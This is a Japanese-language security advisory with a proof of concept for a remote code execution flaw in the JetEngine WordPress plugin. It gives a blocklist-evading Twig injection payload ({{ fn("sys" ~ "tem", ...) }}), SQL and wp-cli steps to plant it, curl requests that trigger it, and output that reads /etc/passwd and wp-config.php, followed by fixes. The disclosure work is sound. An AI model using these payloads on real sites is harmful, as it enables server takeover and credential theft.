
JetEngine <= 3.7.2 - 認証済み(Contributor+)リモートコード実行
日付: 2026年3月11日 CVSSスコア: 8.8(高) CVSSベクター: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 影響を受けるプラグイン: JetEngine <= 3.7.2 プラグインスラッグ: jet-engine CVE: CVE-2026-28134 ステータス: 非公開 テスト済みWordPressバージョン: 最新
CVE-2026-28134 は、JetEngine WordPress プラグインの全バージョン(3.7.2 まで)に影響するリモートコード実行の脆弱性です。この脆弱性により、Contributor レベル以上のアクセス権を持つ認証済み攻撃者が、JetEngine Listing 投稿に悪意のある Twig テンプレートを注入することで、サーバー上で任意の OS コマンドを実行できます。
攻撃チェーンは3つの弱点を組み合わせています:
~ 文字列連結演算子を使用してブロックされた関数名を複数のトークンに分割するサニタイザのバイパス✅ 脆弱性確認済み — フル RCE 達成
確認された影響:
www-data として任意の OS コマンド実行/etc/passwd、wp-config.php)JetEngine は Twig/Timber ベースの Listing ビュータイプを提供します。timber_views コンポーネントが有効な場合、_listing_type = twig の Listing 投稿は、その _jet_engine_listing_html 投稿メタが Timber によってライブ Twig テンプレートとしてレンダリングされます。レンダリングパイプラインは、未認証の wp_ajax_nopriv_jet_engine_ajax AJAX アクション経由で到達可能であり、攻撃者が JetEngine Listing 投稿を作成または変更できること(最低でも Contributor ロール)だけが必要です。
ajax-handlers.php は、認証済みユーザーと未認証ユーザーの両方に対して AJAX アクションを登録します:
// ajax-handlers.php:29
add_action( 'wp_ajax_jet_engine_ajax', array( $this, 'handle_ajax' ) );
add_action( 'wp_ajax_nopriv_jet_engine_ajax', array( $this, 'handle_ajax' ) );
このハンドラは、nonce や権限チェックなしで、$_REQUEST['handler'] に基づいてクラス上の任意の public メソッドにディスパッチします:
// ajax-handlers.php:96-104
public function handle_ajax() {
if ( ! isset( $_REQUEST['handler'] ) || ! is_callable( array( $this, $_REQUEST['handler'] ) ) ) {
return;
}
if ( ! empty( $_REQUEST['page_settings'] ) ) {
foreach ( $_REQUEST['page_settings'] as $key => $value ) {
$_REQUEST[ $key ] = $value;
}
}
call_user_func( array( $this, $_REQUEST['handler'] ) );
}
listing_load_more は公開アクセス可能で、Listing レンダリングパイプラインをトリガーします。
listing_load_more → get_listing → frontend->get_listing_item の呼び出しチェーンは次に到達します:
// frontend.php:302
$content = apply_filters( 'jet-engine/listing/content/' . $listing_view, null, $listing_id );
$listing_view = 'twig' の場合、これにより Jet_Engine\Timber_Views\Render::get_listing_content() が呼び出され、投稿の _jet_engine_listing_html メタフィールドから Twig テンプレートを読み取り、それを直接 render_html() に渡します:
// timber.php:150
$template = $twig->createTemplate(
$this->sanitize_html(
do_shortcode( $this->sanitize_twig_content( $html ) )
)
);
return $template->render( $context );
Twig はサンドボックスなしでレンダリングされます。唯一の保護は sanitize_twig_content() です。
sanitize_twig_content() は、単語境界の正規表現パターンを使用して危険な PHP 関数名を削除し、テンプレートが変更されたかどうかをチェックします:
// timber.php:256-262
$dangerous_funcs = [
'passthru', 'exec', 'eval', 'system', 'shell_exec', 'proc_open', 'popen',
'assert', 'file_put_contents', 'file_get_contents', 'unlink', 'fopen', 'fwrite'
];
foreach ( $dangerous_funcs as $func ) {
$input = preg_replace( '/\b' . preg_quote( $func, '/' ) . '\b/i', '', $input );
}
パターン \bsystem\b はリテラルトークン system に一致します。"sys" ~ "tem" には一致しません。これらは2つの別々の引用文字列トークンであるためです。Twig はレンダリング時に連結を評価し、"system" をメモリ上でのみ生成します — ソーステンプレートにはブロックされた単語が含まれることはありません。
バイパスペイロード:
{{ fn("sys" ~ "tem", "id") }}
サニタイザは fn、"sys"、~、"tem"、"id" を認識します — これらのいずれもブロックリストに含まれていません。そのため変更されずに通過します。
fn() ヘルパーによるコード実行Timber は PHP のコーラブルラッパーを Twig 環境に直接登録します:
// timber-library/lib/Twig.php:42-43
$twig->addFunction( new Twig_Function( 'function', array( &$this, 'exec_function' ) ) );
$twig->addFunction( new Twig_Function( 'fn', array( &$this, 'exec_function' ) ) );
// timber-library/lib/Twig.php:290-297
public function exec_function( $function_name ) {
$args = func_get_args();
array_shift( $args );
if ( is_string( $function_name ) ) {
$function_name = trim( $function_name );
}
return call_user_func_array( $function_name, ( $args ) );
}
{{ fn("sys" ~ "tem", "id") }} は call_user_func_array("system", ["id"]) に解決され、任意の OS コマンド実行が可能になります。
timber_views コンポーネントが有効になっている(JetEngine 設定 > パフォーマンス > Timber/Twig Views)。悪意のある Twig テンプレートを投稿メタに保存した JetEngine Listing 投稿を作成します:
-- Set listing type to twig
UPDATE wp_postmeta SET meta_value = 'twig'
WHERE post_id = <LISTING_ID> AND meta_key = '_listing_type';
-- Inject SSTI payload (sanitizer bypass via ~ concatenation)
UPDATE wp_postmeta SET meta_value = '{{ fn("sys" ~ "tem", "id") }}'
WHERE post_id = <LISTING_ID> AND meta_key = '_jet_engine_listing_html';
-- Set listing source
UPDATE wp_postmeta SET meta_value = '{"listing_source":"posts","post_type":"post"}'
WHERE post_id = <LISTING_ID> AND meta_key = '_jet_engine_listing_data';
または wp-cli を使用する場合(Contributor ユーザーとして):
wp post meta update <LISTING_ID> _listing_type twig
wp post meta update <LISTING_ID> _jet_engine_listing_html '{{ fn("sys" ~ "tem", "id") }}'
curl -s -X POST 'http://TARGET/wp-admin/admin-ajax.php' \
-d 'action=jet_engine_ajax' \
-d 'handler=listing_load_more' \
-d 'widget_settings[lisitng_id]=<LISTING_ID>' \
-d 'widget_settings[columns]=1' \
-d 'query[post_type]=post' \
-d 'query[posts_per_page]=1' \
-d 'query[paged]=1' \
-d 'page_settings[page_id]=1'
{
"success": true,
"data": {
"html": "<div class=\"jet-listing-grid__item jet-listing-dynamic-post-6\" data-post-id=\"6\">uid=33(www-data) gid=33(www-data) groups=33(www-data)\n</div>"
}
}
ブロックされた文字列 passthru を "pas" ~ "sthru" として分割:
curl -s -X POST 'http://TARGET/wp-admin/admin-ajax.php' \
-d 'action=jet_engine_ajax' \
-d 'handler=listing_load_more' \
-d 'widget_settings[lisitng_id]=<LISTING_ID>' \
-d 'widget_settings[columns]=1' \
-d 'query[post_type]=post' \
-d 'query[posts_per_page]=1' \
-d 'query[paged]=1' \
-d 'page_settings[page_id]=1'
テンプレートを {{ fn("pas" ~ "sthru", "cat /etc/passwd") }} に設定:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
テンプレート {{ fn("pas" ~ "sthru", "grep DB_ /var/www/html/wp-config.php") }}:
define( 'DB_USER', getenv_docker('WORDPRESS_DB_USER', ...) );
define( 'DB_PASSWORD', getenv_docker('WORDPRESS_DB_PASSWORD', ...) );
define( 'DB_HOST', getenv_docker('WORDPRESS_DB_HOST', ...) );
wp_ajax_nopriv_jet_engine_ajax は未認証リクエストに対して発火します。handle_ajax() ディスパッチャは、listing_load_more を呼び出す前に nonce 検証も権限チェックも行いません。したがって、悪意のある listing が存在すると、レンダリングパイプラインは任意の未認証ユーザーから到達可能になります。
Twig の公式サンドボックス拡張機能(\Twig\Sandbox\SecurityPolicy)は、エンジンレベルで許可リストを強制します — 明示的に許可されていない関数を呼び出すことはできません。JetEngine はサンドボックスなしで createTemplate() を使用します。唯一の保護はレンダリング前の文字列スキャンであり、これは簡単に回避できます。
ブロックリスト方式(/\bsystem\b/i)は静的テンプレートのソーステキストに対して動作します。Twig の ~ 連結演算子は実行時に文字列を構築します。ブロックされた名前は任意に分割できます:"pass" ~ "thru"、"she" ~ "ll_exec"、"sys" ~ "tem" など。適切なサンドボックスは、関数名がどのように構築されたかに関係なく、その呼び出しを拒否します。
call_user_func_array を公開Timber の fn() および function() Twig ヘルパーは、PHP の call_user_func_array への無条件のブリッジです。呼び出し可能な関数の許可リストはありません。Web プロセスから到達可能な任意の PHP 関数を呼び出すことができます。
| 日付 | イベント |
|---|---|
| 2026-03-11 | 脆弱性を発見し、完全な RCE PoC で確認 |
| 2026-03-11 | レポートを作成 |
| ファイル | 問題 |
|---|
includes/components/listings/ajax-handlers.php:29 | wp_ajax_nopriv_jet_engine_ajax 登録済み — 認証・nonce なし |
includes/components/listings/ajax-handlers.php:104 | call_user_func(array($this, $_REQUEST['handler'])) — 任意の public メソッドのディスパッチ |
includes/components/timber-views/timber.php:150 | render_html() が攻撃者制御の Twig テンプレートをサンドボックスなしでレンダリング |
includes/components/timber-views/timber.php:189 | sanitize_twig_content() — 文字列正規表現ブロックリスト。トークン分割によりバイパス可能 |
timber-library/lib/Twig.php:42-43 | Timber は fn()/function() を call_user_func_array 用の Twig ラッパーとして登録 |
| 修正 | 説明 |
|---|
handle_ajax() に nonce と権限チェックを追加 | すべての AJAX ディスパッチで edit_posts 権限と有効な nonce を要求 |
| Twig サンドボックスを有効化 | 文字列ブロックリストを \Twig\Sandbox\SecurityPolicy に置き換え、安全な関数とプロパティを明示的に許可リストに登録 |
Timber の fn() ヘルパーを制限 | 呼び出し可能な関数名を許可リスト化するか、信頼できないテンプレート用に Twig 環境から fn()/function() を削除 |
| listing の所有権を検証 | テンプレートをレンダリングする前に、リクエストユーザーが listing に対して edit_post 権限を持っていることを確認 |